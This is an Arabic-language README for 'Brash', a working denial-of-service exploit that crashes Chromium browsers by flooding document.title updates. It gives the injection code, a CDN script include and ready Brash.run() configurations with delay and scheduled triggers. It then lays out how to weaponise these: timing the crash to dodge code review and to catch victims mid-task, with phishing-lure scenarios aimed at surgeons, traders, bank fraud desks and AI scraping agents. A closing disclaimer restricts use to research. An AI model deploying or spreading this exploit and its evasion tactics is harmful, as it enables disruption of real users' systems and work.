
هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title

براش هو ثغرة أمنية حرجة في Blink، محرك العرض الذي يشغّل متصفحات كروميوم من جوجل. فهو يسمح لأي متصفح كروميوم بالانهيار خلال 15-60 ثانية عبر استغلال خلل معماري في طريقة إدارة عمليات DOM معيّنة.
ناقل الهجوم ينبع من الغياب التام لتقييد المعدل (rate limiting) على تحديثات واجهة برمجة التطبيقات document.title. وهذا يسمح بحقن ملايين الطفرات في DOM كل ثانية، وأثناء محاولة الحقن هذه، يتم إشباع الخيط الرئيسي (main thread)، مما يعطّل حلقة الأحداث (event loop) ويسبب انهيار الواجهة. التأثير كبير، فهو يستهلك موارد معالجة عالية، ويُضعف الأداء العام للنظام، ويمكن أن يوقف أو يبطئ العمليات الأخرى التي تعمل في الوقت نفسه. ومن خلال تأثيره على متصفحات كروميوم على أجهزة سطح المكتب وأندرويد والبيئات المدمجة، تعرّض هذه الثغرة أكثر من 3 مليارات شخص على الإنترنت لحجب خدمة على مستوى النظام.
الحالة: قيد التشغيل
الإصدارات المتأثرة: Chromium ≤ 143.0.7483.0 (تم الاختبار على: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] الاستغلال يعمل حاليًا. بمجرد تصحيح الثغرة، سيتوقف هذا الكود عن العمل. ومع ذلك، فإن اكتشاف هذا الخلل المعماري وإكمال عملية البحث والتوثيق والتصميم بأكملها لمشاركة شيء مؤثر مع العالم كانت رحلة مجزية بشكل لا يصدق.
تم اختبار 11 متصفحًا رئيسيًا على macOS وWindows وLinux للتحقق من تأثير الثغرة.
جميع المتصفحات المبنية على كروميوم معرضة للثغرة لأن الخلل موجود في جوهر محرك العرض Blink:
براش يستغل خللًا معماريًا أساسيًا في محرك العرض Blink: غياب الخنق (throttling) لتحديثات document.title. يعمل الهجوم عبر ثلاث مراحل حاسمة:
يولّد 100 سلسلة سداسية عشرية فريدة مكونة من 512 حرفًا ويخزّنها في الذاكرة قبل بدء الهجوم.
لماذا تحميلها مسبقًا بدلًا من توليدها في الوقت الفعلي؟
لأن التوليد المستمر لسلاسل جديدة يستهلك وقت المعالجة في العمليات الحسابية. وهذا الوقت حاسم — كل ميلي ثانية تُقضى في توليد السلاسل هي وقت لا يُستخدم في قصف المتصفح بتحديثات document.title.
من خلال وجود 100 سلسلة محمّلة مسبقًا في الذاكرة:
ونتيجة لذلك، نحقق أقصى سرعة حقن مع أقصى استهلاك للذاكرة لكل تحديث.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
ينفّذ دفعات قابلة للتهيئة من تحديثات العنوان. مع الإعداد الافتراضي (burst: 8000, interval: 1ms)، يحاول حقن حوالي 24 مليون تحديث في الثانية، وخلال هذه المحاولة يبدأ انهيار المتصفح.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
التحديثات المستمرة تُشبع الخيط الرئيسي للمتصفح، مما يمنع معالجة الأحداث الأخرى:
الخط الزمني للانهيار:
لماذا ينجح هذا؟
يعالج Blink كل تغيير في document.title بشكل متزامن على الخيط الرئيسي دون تقييد معدل. وهذا يخلق عنق زجاجة (bottleneck) يعمل على:
لفهم تأثير براش بالكامل، يمكنك تجربة الاستغلال في سياقات مختلفة، من عرض حي مُتحكم به إلى تنفيذك الخاص. كل خيار مصمم لمستويات مختلفة من التفاعل والفهم التقني.
أسرع طريقة لرؤية براش أثناء العمل. زر https://brash.run
لرؤية الاستغلال دون واجهة رسومية، زر https://brash.run/hidden-live-demo.html. هذا الإصدار ينفّذ الحقن بشكل غير مرئي، محاكيًا هجومًا حقيقيًا.
إذا كنت تفضل تشغيل العرض في بيئتك الخاصة، فإن مجلد exploit-demo/ المضمّن في المستودع يتيح لك:
ببساطة افتح exploit-demo/index.html في أي متصفح كروميوم واضبط قيمتي burst وinterval قبل البدء.
لدمج براش في اختبارات الأمان أو أبحاثك الخاصة، قم بتضمين السكربت واضبط الهجوم:
تضمين السكربت:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
استخدام واجهة برمجة التطبيقات (API):
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
إعدادات الشدة:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
ملاحظة: كل دفعة تنفّذ 3 تحديثات متتالية لـ
document.title. على سبيل المثال، burstSize: 400 = 1,200 تحديث فعلي في كل فاصل زمني.
يمكن تسليح براش في سياقات حرجة متعددة بعواقب تتراوح بين خسائر اقتصادية وخطر على حياة البشر.
ميزة حرجة تضخّم خطر براش هي قدرته على البرمجة للتنفيذ في لحظات محددة. يمكن للمهاجم حقن الكود مع مشغّل زمني، فيبقى خاملًا حتى وقت محدد مسبقًا بدقة.
التنفيذ التقني:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
المعلمات:
burstSize: التحديثات في كل دورةinterval: ميلي ثانية بين الدوراتdelay: رقم (بالثواني) أو سلسلة ("30s", "5000ms", "3m")scheduled: سلسلة ISO أو كائن Dateلماذا تُعد معلمة delay قاتلة بشكل خاص:
لا تتطلب معرفة موعد فتح الرابط: تنتظر ببساطة X ثانية من لحظة فتح الضحية للصفحة.
وقت لبناء الثقة: خلال دقائق الانتظار، يتفاعل الضحية مع محتوى يبدو شرعيًا (نماذج، مستندات، فيديوهات).
تتفادى الفحص الأولي: إذا راجع شخص الكود بسرعة، يبدو غير نشط. لا يُنفَّذ الهجوم إلا لاحقًا.
توقيت نفسي مثالي: تنتظر حتى ينغمس الضحية بعمق في المهمة (وسط الامتحان، وسط الاجتماع، أثناء إجراء حرج).
سيناريو نموذجي مع delay:
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
لماذا تُعد معلمة scheduled مدمرة أيضًا:
مزامنة جراحية: يختار المهاجم اللحظة الدقيقة لأقصى تأثير (افتتاح السوق، وقت ذروة العمليات).
هجمات منسقة عالميًا: يمكن ضرب أهداف متعددة في الوقت نفسه خلال الثانية ذاتها.
تتفادى الاكتشاف المسبق: يمكن أن يكون الكود الخبيث حاضرًا لأيام أو أسابيع مسبقًا دون تنفيذ، متجاوزًا مراجعات الأمان.
يستحيل إيقافه: بحلول وقت تنفيذ الهجوم، يكون قد فات الأوان لمنعه.
أمثلة على التوقيت الاستراتيجي:
هذه القدرة على التوقيت الحركي تحوّل براش من أداة تعطيل إلى سلاح دقة زمنية، حيث يتحكم المهاجم ليس فقط في "ماذا" و"أين"، بل أيضًا في "متى" بدقة تصل إلى الميلي ثانية.
السيناريو: أنظمة المؤسسات التي تعتمد على وكلاء الذكاء الاصطناعي في تجريف الويب، وتحليل السوق، ومراقبة المنافسين، أو أتمتة دعم العملاء، تستخدم متصفحات بلا واجهة رسومية (Chromium/Puppeteer) للاستعلام عن آلاف المواقع يوميًا. يقوم المهاجم بحقن براش في المواقع الشائعة التي يستعلم عنها هؤلاء الوكلاء.
خلال العمليات الآلية الحرجة:
نواقل هجوم مضخّمة:
التأثير الحقيقي: شلل العمليات الآلية الحرجة، وخسائر اقتصادية من قرارات لم تُتخذ، وتدهور هائل في الخدمات المعتمدة على الذكاء الاصطناعي، وتكاليف استعادة البنية التحتية، وكشف الاعتماد الحرج على الوكلاء الآليين.
السيناريو: جراح قلب وأوعية دموية يجري عملية مجازة شريانية (coronary bypass) بمساعدة نظام ملاحة جراحي قائم على الويب (شائع بشكل متزايد في الجراحات طفيفة التوغل). يوفّر النظام صورًا في الوقت الفعلي، ومؤشرات حيوية للمريض، وإرشادات للأدوات الروبوتية.
أثناء المرحلة الأكثر حرجًا في العملية، يظهر إشعار في المتصفح: "تنبيه: تحديث حرج لنظام الجراحة - طبّق الآن أو قد تفشل العملية."
عند النقر في حالة ذعر:
التأثير الحقيقي: خطر مباشر على حياة المريض، وإمكانية ضرر دائم، وصدمة نفسية للفريق الطبي، ودعاوى قضائية بملايين الدولارات بسبب الإهمال التقني.
السيناريو: أثناء افتتاح سوق وول ستريت، تحقن جهة خبيثة براش في قنوات متعددة في الوقت نفسه: واجهة ويب بلومبرج تيرمينال، ودردشة المتداولين المؤسسيين، والمنتديات المتخصصة. يعدّ الرابط بـ"تسريب: محضر اجتماع طارئ للاحتياطي الفيدرالي - تأكيد خفض أسعار الفائدة."
في أول 30 ثانية من التداول (أقصى سيولة):
التأثير الحقيقي: خسائر تريليونات الدولارات في القيمة السوقية، وذعر مالي عالمي، وتحقيقات من هيئة الأوراق المالية (SEC)، وأزمة ثقة محتملة في الأسواق.
السيناريو: محللو الاحتيال في أحد البنوك يعالجون تنبيهات المعاملات المشبوهة في الوقت الفعلي عبر لوحة تحكم ويب. خلال الجمعة السوداء (ذروة المعاملات)، يتلقون براش عبر البريد الإلكتروني للشركة: "تم اكتشاف نمط احتيال جديد - مطلوب تحليل عاجل."
في لحظة أعلى حجم معاملات:
التأثير الحقيقي: خسائر مباشرة بملايين الدولارات، وآلاف العملاء برسوم احتيالية، وضرر هائل للسمعة، وغرامات تنظيمية لفشل أنظمة الوقاية.
هذه السيناريوهات ليست نظرية. بساطة براش تجعله تهديدًا حقيقيًا لأي عملية تعتمد على متصفحات الويب، وهو ما يعني في عام 2025 كل شيء تقريبًا.
إن إنشاء براش هو جهد لإظهار ما يحدث عندما تكون الحمايات الأساسية غائبة في تقنيات الويب التي نستخدمها يوميًا. الثغرة لا تكمن في كود معقد أو تقنيات متقدمة، بل في الافتقار الأساسي لتقييد المعدل على واجهة برمجة تطبيقات كان ينبغي أن تكون مخنوقة (throttled) بالتصميم.
يُظهر تأثير براش على أكثر من 3 مليارات مستخدم لمتصفح كروميوم أن الخلل المعماري في المكونات الأساسية مثل Blink له عواقب هائلة وعالمية. هذه ليست خللًا معزولًا — إنها عيب تصميم يؤثر على نظام كروميوم البيئي بأكمله.
غالبًا، تختبئ أخطر الأشياء في المكان الأقل توقعًا والأكثر تجاهلًا. - Jose Pino
إثبات المفهوم (PoC) هذا مخصص لأغراض تعليمية وبحوث أمنية فقط للمساعدة في جعل الإنترنت مكانًا أكثر أمانًا. يجب تنفيذه حصريًا في بيئات مُتحكم بها، ويجب ألا يُستخدم على أنظمة الإنتاج أو المواقع العامة أو الأجهزة التي تحتوي على بيانات مهمة.
يمكن أن يؤدي إساءة استخدام هذا الاستغلال إلى انهيار المتصفح وفقدان البيانات وعدم استقرار النظام. المؤلف غير مسؤول عن أي أضرار أو فقدان بيانات أو عواقب قانونية ناشئة عن استخدام أو إساءة استخدام إثبات المفهوم هذا. باستخدامك براش، فإنك تقر بفهمك لهذه المخاطر وتوافق على استخدامه فقط في أبحاث أمنية مشروعة في بيئات معزولة.
من المتوقع أن يلتزم المستخدمون بجميع القوانين واللوائح المعمول بها. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني وغير أخلاقي.
محتوى هذا المشروع نفسه مرخّص بموجب رخصة المشاع الإبداعي الإسناد 3.0، والكود المصدري الأساسي المستخدم لتنسيق وعرض ذلك المحتوى مرخّص بموجب رخصة MIT.
حقوق النشر (c) 2025 بواسطة Jose Pino